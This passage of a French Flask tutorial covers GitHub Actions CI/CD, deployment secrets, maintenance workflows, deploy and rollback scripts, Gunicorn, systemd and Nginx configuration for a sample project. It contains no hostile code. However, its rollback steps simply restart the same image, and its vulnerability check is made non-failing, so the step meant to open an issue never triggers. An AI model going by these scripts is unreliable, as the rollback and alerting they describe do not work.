                > /opt/backups/pre_deploy_$(date +%Y%m%d_%H%M%S).sql

              # Récupérer la nouvelle image
              docker compose -f docker-compose.yml -f docker-compose.prod.yml pull app

              # Migrations
              docker compose -f docker-compose.yml -f docker-compose.prod.yml \
                run --rm app flask db upgrade

              # Déployer sans downtime
              docker compose -f docker-compose.yml -f docker-compose.prod.yml \
                up -d --no-deps app

              # Vérification post-déploiement
              sleep 20
              curl -f https://bookflow.com/health || \
                (echo "ERREUR : rollback en cours..." && \
                 docker compose up -d --no-deps app && exit 1)

              echo "Déploiement production réussi !"

        - name: Notification de succès
          if: success()
          uses: 8398a7/action-slack@v3
          with:
            status: success
            text: "Déploiement BookFlow réussi ! Version: ${{ github.sha }}"
          env:
            SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK }}

        - name: Notification d'échec
          if: failure()
          uses: 8398a7/action-slack@v3
          with:
            status: failure
            text: "ERREUR déploiement BookFlow ! Rollback effectué. SHA: ${{ github.sha }}"
          env:
            SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK }}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  GITHUB SECRETS ET ENVIRONNEMENTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SECRETS À CONFIGURER DANS GITHUB :
  (Settings -> Secrets and variables -> Actions)

  Secrets globaux :
  ─────────────────
  SLACK_WEBHOOK         -> URL webhook Slack pour les notifications

  Secrets environnement staging :
  ────────────────────────────────
  STAGING_HOST          -> IP ou nom de domaine du serveur staging
  STAGING_USER          -> Utilisateur SSH (ex: ubuntu, deploy)
  STAGING_SSH_KEY       -> Clé privée SSH (RSA ou Ed25519)
  STAGING_DATABASE_URL  -> URL PostgreSQL staging
  STAGING_REDIS_URL     -> URL Redis staging
  STAGING_SECRET_KEY    -> Clé secrète Flask staging

  Secrets environnement production :
  ────────────────────────────────────
  PROD_HOST             -> IP du serveur de production
  PROD_USER             -> Utilisateur SSH de prod
  PROD_SSH_KEY          -> Clé privée SSH prod
  PROD_DATABASE_URL     -> URL PostgreSQL prod
  PROD_REDIS_URL        -> URL Redis prod
  PROD_SECRET_KEY       -> Clé secrète Flask prod (DIFFÉRENTE du staging !)
  PROD_JWT_SECRET_KEY   -> Clé JWT prod

CONFIGURATION DES ENVIRONNEMENTS GITHUB :
  (Settings -> Environments)

  Environnement "staging" :
  -> Pas de protection (déploiement automatique)
  -> URL : https://staging.bookflow.com

  Environnement "production" :
  -> Required reviewers : 2 personnes doivent approuver
  -> Wait timer : 5 minutes (délai de sécurité)
  -> URL : https://bookflow.com


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  WORKFLOW AUTOMATISATIONS SUPPLÉMENTAIRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # .github/workflows/maintenance.yml
  name: Maintenance automatique

  on:
    schedule:
      - cron: '0 2 * * 0'   # Tous les dimanches à 2h du matin
    workflow_dispatch:

  jobs:

    nettoyer-tokens:
      name: Nettoyer les tokens JWT expirés
      runs-on: ubuntu-latest
      steps:
        - uses: appleboy/ssh-action@master
          with:
            host: ${{ secrets.PROD_HOST }}
            username: ${{ secrets.PROD_USER }}
            key: ${{ secrets.PROD_SSH_KEY }}
            script: |
              docker compose exec app flask shell << 'EOF'
              from app.models import TokenRevoque
              from app import db
              from datetime import datetime, timezone
              nb = TokenRevoque.query.filter(
                  TokenRevoque.expire_le < datetime.now(timezone.utc)
              ).delete()
              db.session.commit()
              print(f"{nb} tokens révoqués expirés supprimés")
              EOF

    backup-bdd:
      name: Sauvegarde hebdomadaire BDD
      runs-on: ubuntu-latest
      steps:
        - uses: appleboy/ssh-action@master
          with:
            host: ${{ secrets.PROD_HOST }}
            username: ${{ secrets.PROD_USER }}
            key: ${{ secrets.PROD_SSH_KEY }}
            script: |
              BACKUP_FILE="bookflow_weekly_$(date +%Y%W).sql.gz"
              docker compose exec -T postgres pg_dump -U bookflow bookflow_prod \
                | gzip > /opt/backups/weekly/$BACKUP_FILE
              echo "Backup créé : $BACKUP_FILE"

    mise-a-jour-dependances:
      name: Vérifier les mises à jour de sécurité
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@v4
        - uses: actions/setup-python@v5
          with:
            python-version: '3.11'

        - name: Vérifier les vulnérabilités
          run: |
            pip install safety
            safety check -r requirements.txt || true  # Informationnel, non bloquant

        - name: Créer une issue si vulnérabilités trouvées
          if: failure()
          uses: actions/github-script@v7
          with:
            script: |
              github.rest.issues.create({
                owner: context.repo.owner,
                repo: context.repo.repo,
                title: '[ATTENTION] Vulnérabilités de sécurité détectées',
                body: 'Safety check a détecté des vulnérabilités. Vérifiez le rapport.',
                labels: ['security', 'dependencies']
              })

  # .github/workflows/pr_checks.yml
  name: Vérifications Pull Request

  on:
    pull_request:
      types: [opened, edited, synchronize]

  jobs:
    pr-validation:
      runs-on: ubuntu-latest
      steps:
        - name: Vérifier le titre de la PR
          uses: amannn/action-semantic-pull-request@v5
          env:
            GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          # Exemples de titres valides :
          # feat: ajout de l'authentification 2FA
          # fix: correction bug pagination
          # docs: mise à jour du README
          # chore: mise à jour des dépendances

        - name: Vérifier qu'il y a au moins 1 test
          uses: actions/checkout@v4
        - run: |
            git diff origin/main...HEAD --name-only | grep "^tests/" || \
              echo "::warning::Pas de fichier de test modifié dans cette PR"


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 44.1 : Crée le workflow CI basique (.github/workflows/ci.yml).
    Au minimum : checkout, setup Python, install deps, pytest.
    Vérifie que le workflow se déclenche sur push vers main.

  Exercice 44.2 : Ajoute un job "lint" avec flake8 et black --check.
    Le workflow doit échouer si le code n'est pas bien formaté.

  Exercice 44.3 : Ajoute le job "security" avec bandit et safety.
    Configure continue-on-error: false pour que la faille critique bloque.

NIVEAU INTERMÉDIAIRE :
  Exercice 44.4 : Ajoute les services PostgreSQL et Redis dans le job tests.
    Configure les variables d'environnement pour que Flask les utilise.

  Exercice 44.5 : Crée le job "build" qui construit et push l'image Docker
    vers GitHub Container Registry (GHCR) uniquement sur la branche main.

NIVEAU AVANCÉ :
  Exercice 44.6 : Crée le workflow CD complet avec staging + smoke tests
    + production. Configure les environnements GitHub avec required reviewers.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 44.1 — CI basique :

  # .github/workflows/ci.yml
  name: CI

  on:
    push:
      branches: [main, develop]
    pull_request:
      branches: [main]

  jobs:
    test:
      runs-on: ubuntu-latest

      steps:
        - uses: actions/checkout@v4

        - name: Setup Python 3.11
          uses: actions/setup-python@v5
          with:
            python-version: '3.11'
            cache: 'pip'

        - name: Installer les dépendances
          run: |
            pip install --upgrade pip
            pip install -r requirements.txt
            pip install -r requirements-dev.txt

        - name: Créer le .env de test
          run: |
            echo "FLASK_ENV=testing" > .env
            echo "SECRET_KEY=test-secret-key-minimum-32-chars-here" >> .env
            echo "JWT_SECRET_KEY=test-jwt-secret-minimum-32-chars-here" >> .env

        - name: Lancer les tests
          run: pytest tests/ -v --tb=short

CORRIGÉ 44.5 — Build et Push GHCR :

  build:
    runs-on: ubuntu-latest
    needs: [test]
    if: github.ref == 'refs/heads/main'

    permissions:
      contents: read
      packages: write

    steps:
      - uses: actions/checkout@v4

      - uses: docker/setup-buildx-action@v3

      - name: Login GHCR
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Build et Push
        uses: docker/build-push-action@v5
        with:
          context: .
          target: runner
          push: true
          tags: |
            ghcr.io/${{ github.repository }}:latest
            ghcr.io/${{ github.repository }}:${{ github.sha }}
          cache-from: type=gha
          cache-to: type=gha,mode=max


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW DEVOPS COMPLET                       ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  STRUCTURE FICHIERS DEVOPS BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  bookflow/
  ├── .github/
  │   └── workflows/
  │       ├── ci.yml              <- Tests, lint, sécurité, build Docker
  │       ├── cd.yml              <- Déploiement staging + production
  │       ├── maintenance.yml     <- Nettoyage tokens, backups, deps
  │       └── pr_checks.yml       <- Vérifications des PRs
  │
  ├── nginx/
  │   ├── bookflow.conf           <- Config Nginx (reverse proxy, SSL)
  │   └── ssl/                    <- Certificats Let's Encrypt
  │
  ├── scripts/
  │   ├── deploy.sh               <- Script de déploiement manuel
  │   └── rollback.sh             <- Script de rollback
  │
  ├── Dockerfile                  <- Image Docker multi-stage
  ├── .dockerignore               <- Fichiers exclus de l'image
  ├── docker-compose.yml          <- Stack développement
  ├── docker-compose.prod.yml     <- Override production (Nginx, pas de ports exposés)
  └── .env.example                <- Variables requises (sans secrets)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  SCRIPT DE DÉPLOIEMENT MANUEL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  #!/bin/bash
  # scripts/deploy.sh — Déploiement manuel avec vérifications

  set -e  # Arrêter au premier erreur
  set -o pipefail

  IMAGE_TAG=${1:-latest}
  ENV=${2:-production}

  echo "[RAPIDE] Déploiement BookFlow $IMAGE_TAG en $ENV"

  # 1. Vérifications préliminaires
  echo "[RECHERCHE] Vérifications..."
  docker compose ps | grep "Up" || (echo "[X] Services non démarrés" && exit 1)
  curl -sf http://localhost:5000/health || (echo "[X] App non accessible" && exit 1)

  # 2. Sauvegarde pré-déploiement
  echo "[SAUVEGARDE] Sauvegarde BDD..."
  docker compose exec -T postgres pg_dump -U $POSTGRES_USER $POSTGRES_DB \
    | gzip > /opt/backups/pre_deploy_$(date +%Y%m%d_%H%M%S).sql.gz

  # 3. Récupérer la nouvelle image
  echo "[PACKAGE] Téléchargement de l'image $IMAGE_TAG..."
  docker compose pull app

  # 4. Appliquer les migrations
  echo "[ARCHIVE] Migrations BDD..."
  docker compose run --rm app flask db upgrade

  # 5. Déployer
  echo "[SYNC] Redémarrage de l'application..."
  docker compose up -d --no-deps app

  # 6. Attendre et vérifier
  echo "[HOURGLASS_WITH_FLOWING_SAND] Attente 20 secondes..."
  sleep 20

  if curl -sf http://localhost:5000/health; then
      echo "[OK] Déploiement réussi !"
  else
      echo "[X] Échec post-déploiement ! Rollback..."
      bash scripts/rollback.sh
      exit 1
  fi

  #!/bin/bash
  # scripts/rollback.sh — Rollback vers la version précédente

  echo "[BLACK_LEFT-POINTING_DOUBLE_TRIANGLE_WITH_VERTICAL_BAR] Rollback en cours..."
  docker compose up -d --no-deps app  # Repart avec l'ancienne image si elle est en cache
  sleep 15
  curl -sf http://localhost:5000/health && echo "[OK] Rollback réussi" || echo "[X] Rollback échoué !"


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 13 — DEVOPS

  [DOCS] Tu as appris :
     -> Docker : images, conteneurs, Dockerfile multi-stage (2 stages)
     -> .dockerignore : exclure les fichiers sensibles et inutiles
     -> docker-compose.yml : stack dev (Flask + PostgreSQL + Redis + pgAdmin)
     -> docker-compose.prod.yml : stack prod (+ Nginx + Backup automatique)
     -> Nginx : reverse proxy, SSL, HSTS, fichiers statiques
     -> Commandes Docker essentielles : up, down, logs, exec, stats
     -> GitHub Actions CI : lint, sécurité (bandit+safety), tests multi-version,
       build Docker multi-arch, push GHCR, scan Trivy
     -> GitHub Actions CD : déploiement staging, smoke tests, production
       avec required reviewers, notification Slack
     -> GitHub Environments : protection, secrets, URLs
     -> Maintenance automatique : nettoyage tokens, backups, vérif dépendances
     -> Script deploy.sh avec backup + rollback automatique

  -> Prochaine étape : Partie 14 — Déploiement (Gunicorn, Nginx, VPS)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 14 : DÉPLOIEMENT                        ║
║         Gunicorn, Nginx, VPS Ubuntu et mise en production complète                ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 14 / 20
Chapitres      : 45 -> 47
Prérequis      : Parties 1 à 13 (Flask complet, Docker, DevOps)
Projet fil     : BookFlow — Déploiement sur un VPS Ubuntu

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 14
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 45 — Mise en production : serveur WSGI Gunicorn
  CHAPITRE 46 — Nginx : reverse proxy et serveur web
  CHAPITRE 47 — Déploiement complet sur un VPS Ubuntu

  PROJET FIL ROUGE — BookFlow : déploiement pas à pas sur un serveur réel

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 45 — GUNICORN : SERVEUR WSGI DE PRODUCTION                  ║
║         Remplacer le serveur de développement Flask par Gunicorn                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  POURQUOI PAS LE SERVEUR FLASK EN PROD ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le serveur de développement Flask (Werkzeug) est :
  [X] Mono-thread (une seule requête à la fois)
  [X] Non sécurisé (pas de protection contre les attaques DoS)
  [X] Pas optimisé pour la production
  [X] Avertissement explicite : "WARNING: Do not use the development server in a production environment"

GUNICORN (Green Unicorn) est le serveur WSGI de production :
  [OK] Multi-process (plusieurs workers en parallèle)
  [OK] Multi-thread (plusieurs threads par worker)
  [OK] Gestion des signaux (SIGTERM, SIGHUP pour restart sans downtime)
  [OK] Timeouts configurables
  [OK] Logs structurés
  [OK] Standard industriel (utilisé par Instagram, Pinterest, etc.)

ARCHITECTURE GUNICORN :

  ┌─────────────────────────────────────────────────────────────────┐
  │                    GUNICORN MASTER PROCESS                      │
  │  Écoute le port, distribue les requêtes, surveille les workers  │
  └────────────────────┬────────────────────────────────────────────┘
       ┌───────────────┼───────────────┐
       v               v               v
  ┌─────────┐     ┌─────────┐     ┌─────────┐
  │ Worker 1│     │ Worker 2│     │ Worker 3│
  │ Flask   │     │ Flask   │     │ Flask   │
  │ Thread1 │     │ Thread1 │     │ Thread1 │
  │ Thread2 │     │ Thread2 │     │ Thread2 │
  └─────────┘     └─────────┘     └─────────┘

  Master process = orchestrateur léger
  Worker process = instance Flask qui traite les requêtes


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  INSTALLATION ET CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install gunicorn

COMMANDE DE BASE :

  gunicorn "app:create_app()"
  # ou
  gunicorn run:app

CONFIGURATION COMPLÈTE :

  # gunicorn.conf.py — Fichier de configuration Gunicorn
  import multiprocessing, os

  # ── WORKERS ──────────────────────────────────────────────────────
  # Règle : (CPU × 2) + 1 workers recommandés
  workers = int(os.getenv('GUNICORN_WORKERS', multiprocessing.cpu_count() * 2 + 1))
  # Sur un VPS 2 CPU : 5 workers
  # Sur un VPS 4 CPU : 9 workers

  # Type de worker
  worker_class = 'gthread'    # Threads par worker (I/O intensif comme Flask)
  # Alternatives :
  # 'sync'     -> Synchrone, 1 requête par worker (simple mais moins performant)
  # 'gthread'  -> Threads, idéal pour Flask avec SQLAlchemy
  # 'gevent'   -> Coroutines async (nécessite pip install gevent)
  # 'uvicorn.workers.UvicornWorker' -> Pour ASGI (Flask async)

  # Threads par worker (avec worker_class='gthread')
  threads = int(os.getenv('GUNICORN_THREADS', 2))

  # ── RÉSEAU ────────────────────────────────────────────────────────
  bind = f"0.0.0.0:{os.getenv('PORT', '5000')}"
  # En production avec Nginx : utiliser socket Unix (plus rapide que TCP)
  # bind = 'unix:/tmp/bookflow.sock'

  # ── TIMEOUTS ──────────────────────────────────────────────────────
  timeout         = 120    # Délai avant de tuer un worker bloqué (secondes)
  graceful_timeout = 30    # Délai pour finir les requêtes en cours avant arrêt
  keepalive       = 5      # Connexions HTTP Keep-Alive (secondes)

  # ── REQUÊTES ──────────────────────────────────────────────────────
  max_requests = 1000       # Redémarrer le worker après N requêtes (évite les fuites mémoire)
  max_requests_jitter = 50  # Randomiser pour éviter que tous les workers redémarrent en même temps

  # ── SÉCURITÉ ──────────────────────────────────────────────────────
  limit_request_line   = 4096    # Taille max de la ligne de requête
  limit_request_fields = 100     # Nombre max de headers HTTP
  limit_request_field_size = 8190  # Taille max d'un header

  # ── LOGS ──────────────────────────────────────────────────────────
  accesslog = '-'       # Stdout (Docker) ou '/var/log/gunicorn/access.log'
  errorlog  = '-'       # Stdout
  loglevel  = os.getenv('GUNICORN_LOG_LEVEL', 'info')  # debug, info, warning, error
  access_log_format = '%(h)s %(l)s %(u)s %(t)s "%(r)s" %(s)s %(b)s "%(f)s" "%(a)s" %(D)sµs'
  # h=IP client, s=status, b=bytes, D=durée en microseconds

  # ── PROCESS ───────────────────────────────────────────────────────
  daemon   = False       # Ne pas daémoniser (géré par systemd ou Docker)
  pidfile  = None        # Fichier PID (optionnel)
  umask    = 0o007       # Permissions fichiers créés
  user     = None        # Utilisateur (ou utiliser l'utilisateur courant)
  group    = None

  # ── HOOKS ─────────────────────────────────────────────────────────
  def on_starting(server):
      """Appelé quand le master process démarre."""
      server.log.info("BookFlow démarrage...")

  def post_fork(server, worker):
      """Appelé dans le worker après le fork."""
      server.log.info(f"Worker {worker.pid} démarré")

  def worker_exit(server, worker):
      """Appelé quand un worker se termine."""
      server.log.info(f"Worker {worker.pid} terminé")

  def on_exit(server):
      """Appelé avant l'arrêt complet."""
      server.log.info("BookFlow arrêt propre")

LANCER GUNICORN AVEC CE FICHIER :

  # Avec le fichier de config
  gunicorn -c gunicorn.conf.py "app:create_app('production')"

  # Vérifier la config
  gunicorn --check-config -c gunicorn.conf.py "app:create_app()"

  # Voir tous les workers actifs
  gunicorn --print-config -c gunicorn.conf.py "app:create_app()"


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  GESTION DES SIGNAUX (ZERO DOWNTIME)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Gunicorn gère les signaux Unix pour les opérations sans interruption.

  # Redémarrage sans downtime (rechargement du code)
  # Le master crée de nouveaux workers, les anciens finissent leurs requêtes
  kill -HUP $(cat gunicorn.pid)

  # Arrêt gracieux (finit les requêtes en cours)
  kill -TERM $(cat gunicorn.pid)   # ou SIGQUIT

  # Arrêt immédiat ([ATTENTION] coupe les requêtes en cours)
  kill -INT $(cat gunicorn.pid)    # ou SIGKILL

  # Augmenter le nombre de workers
  kill -TTIN $(cat gunicorn.pid)   # +1 worker

  # Diminuer le nombre de workers
  kill -TTOU $(cat gunicorn.pid)   # -1 worker

AVEC SYSTEMD (recommandé pour VPS sans Docker) :

  # /etc/systemd/system/bookflow.service
  [Unit]
  Description=BookFlow API — Gunicorn Service
  After=network.target postgresql.service redis.service
  Requires=postgresql.service

  [Service]
  Type=notify
  # Utilisateur dédié (jamais root !)
  User=bookflow
  Group=bookflow
  WorkingDirectory=/opt/bookflow

  # Charger les variables d'environnement
  EnvironmentFile=/opt/bookflow/.env

  # Commande de démarrage
  ExecStart=/opt/bookflow/venv/bin/gunicorn \
      -c /opt/bookflow/gunicorn.conf.py \
      "app:create_app('production')"

  # Redémarrage automatique si crash
  ExecReload=/bin/kill -s HUP $MAINPID
  Restart=on-failure
  RestartSec=5
  KillMode=mixed
  TimeoutStopSec=30

  # Sécurité systemd
  NoNewPrivileges=yes
  PrivateTmp=yes
  ProtectSystem=full

  # Logs vers journald
  StandardOutput=journal
  StandardError=journal
  SyslogIdentifier=bookflow

  [Install]
  WantedBy=multi-user.target

  # Commandes systemd :
  sudo systemctl daemon-reload
  sudo systemctl enable bookflow    # Démarrer au boot
  sudo systemctl start bookflow
  sudo systemctl status bookflow
  sudo systemctl reload bookflow    # HUP signal (rechargement sans downtime)
  sudo journalctl -u bookflow -f    # Voir les logs en temps réel


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 45.1 : Crée le fichier gunicorn.conf.py pour BookFlow.
    Configure 4 workers, 2 threads, timeout 120s.
    Lance avec : gunicorn -c gunicorn.conf.py "app:create_app()"

  Exercice 45.2 : Compare les performances (requêtes/sec) entre
    flask run et gunicorn avec un outil comme wrk ou ab (Apache Bench).
    wrk -t4 -c100 -d30s http://localhost:5000/api/v1/livres/

  Exercice 45.3 : Configure le logging Gunicorn pour écrire dans un fichier
    avec rotation automatique (/var/log/gunicorn/bookflow.log).

NIVEAU INTERMÉDIAIRE :
  Exercice 45.4 : Crée le fichier systemd bookflow.service.
    Démarre le service et vérifie avec systemctl status.
    Configure le redémarrage automatique si le service crash.

  Exercice 45.5 : Implémente le zero-downtime deployment :
    1. Nouveau code déployé
    2. HUP envoyé au master Gunicorn
    3. Nouveaux workers chargent le nouveau code
    4. Anciens workers finissent leurs requêtes
    5. Pas de coupure visible pour les utilisateurs

NIVEAU AVANCÉ :
  Exercice 45.6 : Configure Gunicorn avec socket Unix au lieu de TCP.
    Mesure l'impact sur les performances (socket Unix est ~15% plus rapide).

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 45.2 — Test de performance :

  # Installer wrk
  sudo apt install wrk   # Linux
  brew install wrk       # Mac

  # Test Flask dev server (1 thread, 1 requête à la fois)
  flask run &
  wrk -t4 -c100 -d30s http://localhost:5000/api/v1/livres/
  # Résultat typique : ~50 req/s

  # Test Gunicorn (4 workers, 2 threads chacun)
  gunicorn -c gunicorn.conf.py "app:create_app()" &
  wrk -t4 -c100 -d30s http://localhost:5000/api/v1/livres/
  # Résultat typique : ~400 req/s -> ×8 plus rapide !

CORRIGÉ 45.6 — Socket Unix :

  # gunicorn.conf.py
  bind = 'unix:/tmp/bookflow.sock'

  # Permissions du socket
  umask = 0o007  # Seul bookflow et www-data peuvent y accéder

  # Nginx conf (pointer vers le socket)
  # proxy_pass http://unix:/tmp/bookflow.sock;


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 46 — NGINX : REVERSE PROXY ET SERVEUR WEB                  ║
║     Nginx devant Gunicorn : SSL, cache statique, rate limiting                    ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  RÔLE DE NGINX
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

POURQUOI NGINX DEVANT GUNICORN ?

  CLIENT                    NGINX                    GUNICORN
  ─────────                 ─────────────────────     ──────────────────
  Navigateur  ──HTTP/S──->   Terminaison SSL         -> Application Flask
  App mobile               Fichiers statiques        (seulement le code
  API client               Rate limiting              Python, pas le SSL
                           Compression gzip           ni les fichiers statiques)
                           Load balancing
                           Cache

AVANTAGES :
  [OK] Nginx gère le SSL (Gunicorn ne gère pas SSL nativement)
  [OK] Nginx sert les fichiers statiques TRÈS rapidement (sans toucher Flask)
  [OK] Nginx peut faire du load balancing entre plusieurs instances Gunicorn
  [OK] Nginx protège Gunicorn (rate limiting, taille des requêtes, timeouts)
  [OK] Nginx supporte HTTP/2 et HTTP/3


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  CONFIGURATION NGINX COMPLÈTE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # /etc/nginx/sites-available/bookflow.conf

  # ── UPSTREAM (pool de serveurs Gunicorn) ─────────────────────────
  upstream bookflow_app {
      # Si Gunicorn écoute sur TCP
      server 127.0.0.1:5000;

      # Si plusieurs instances Gunicorn (load balancing)
      # server 127.0.0.1:5001;
      # server 127.0.0.1:5002;

      # Ou socket Unix (plus rapide)
      # server unix:/tmp/bookflow.sock;

      keepalive 32;  # Connexions persistantes entre Nginx et Gunicorn
  }

  # ── CACHE NGINX ───────────────────────────────────────────────────
  # Mettre en cache les réponses API non personnalisées
  proxy_cache_path /var/cache/nginx/bookflow
                   levels=1:2
                   keys_zone=bookflow_cache:10m
                   max_size=1g
                   inactive=60m
                   use_temp_path=off;

  # ── RATE LIMITING ─────────────────────────────────────────────────
  # Zone de limite par IP
  limit_req_zone $binary_remote_addr zone=api_limit:10m rate=30r/s;
  limit_req_zone $binary_remote_addr zone=login_limit:10m rate=5r/m;

  # ── REDIRECTION HTTP -> HTTPS ──────────────────────────────────────
  server {
      listen 80;
      server_name bookflow.com www.bookflow.com;

      # Let's Encrypt
      location /.well-known/acme-challenge/ {
          root /var/www/certbot;
      }

      location / {
          return 301 https://$host$request_uri;
      }
  }

  # ── SERVEUR PRINCIPAL HTTPS ───────────────────────────────────────
  server {
      listen 443 ssl http2;
      server_name bookflow.com www.bookflow.com;

      # ── SSL Configuration ──
      ssl_certificate     /etc/letsencrypt/live/bookflow.com/fullchain.pem;
      ssl_certificate_key /etc/letsencrypt/live/bookflow.com/privkey.pem;
      include             /etc/letsencrypt/options-ssl-nginx.conf;
      ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;

      # ── Sécurité Headers ──
      add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
      add_header X-Frame-Options "DENY" always;
      add_header X-Content-Type-Options "nosniff" always;
      add_header X-XSS-Protection "1; mode=block" always;
      add_header Referrer-Policy "strict-origin-when-cross-origin" always;
      add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

      # ── Limites ──
      client_max_body_size 16M;     # Upload max
      client_body_timeout  60s;
      client_header_timeout 60s;

      # ── Fichiers statiques (servis par Nginx, pas Flask) ──
      location /static/ {
          alias /opt/bookflow/app/static/;
          expires 30d;                                    # Cache navigateur 30 jours
          add_header Cache-Control "public, immutable";  # Jamais rechargé
          access_log off;                                 # Pas de log pour les statiques
          gzip_static on;                                 # Servir .gz si disponible
      }

      location /uploads/ {
          alias /opt/bookflow/uploads/;
          expires 7d;
          add_header Cache-Control "public";
          access_log off;
      }

      # ── Rate limiting sur les endpoints sensibles ──
      location /api/v1/auth/login {
          limit_req zone=login_limit burst=10 nodelay;
          limit_req_status 429;

          proxy_pass http://bookflow_app;
          include    /etc/nginx/proxy_params;
      }

      # ── Cache Nginx pour les endpoints API publics ──
      location /api/v1/livres {
          limit_req zone=api_limit burst=50 nodelay;

          proxy_cache bookflow_cache;
          proxy_cache_key "$request_method$request_uri";
          proxy_cache_valid 200 60s;       # Cache les 200 pendant 60 secondes
          proxy_cache_valid 404 10s;       # Cache les 404 pendant 10 secondes
          proxy_cache_bypass $http_authorization;  # Pas de cache si authentifié

          # Header pour voir si la réponse vient du cache
          add_header X-Cache-Status $upstream_cache_status;

          proxy_pass http://bookflow_app;
          include    /etc/nginx/proxy_params;
      }

      # ── Proxy vers Gunicorn (toutes les autres routes) ──
      location / {
          limit_req zone=api_limit burst=100 nodelay;

          proxy_pass http://bookflow_app;
          include    /etc/nginx/proxy_params;
      }

      # ── Logs ──
      access_log /var/log/nginx/bookflow_access.log combined buffer=512k flush=1m;
      error_log  /var/log/nginx/bookflow_error.log warn;
  }

  # /etc/nginx/proxy_params (fichier partagé)
  # proxy_set_header Host $http_host;
  # proxy_set_header X-Real-IP $remote_addr;
  # proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  # proxy_set_header X-Forwarded-Proto $scheme;
  # proxy_redirect off;
  # proxy_buffering on;
  # proxy_buffer_size 128k;
  # proxy_buffers 4 256k;
  # proxy_connect_timeout 60;
  # proxy_send_timeout 60;
  # proxy_read_timeout 60;

ACTIVER LA CONFIGURATION :

  # Activer le site
  sudo ln -s /etc/nginx/sites-available/bookflow.conf /etc/nginx/sites-enabled/

  # Vérifier la syntaxe
  sudo nginx -t

  # Recharger
  sudo systemctl reload nginx


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  SSL AVEC LET'S ENCRYPT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Installer Certbot
  sudo apt install certbot python3-certbot-nginx

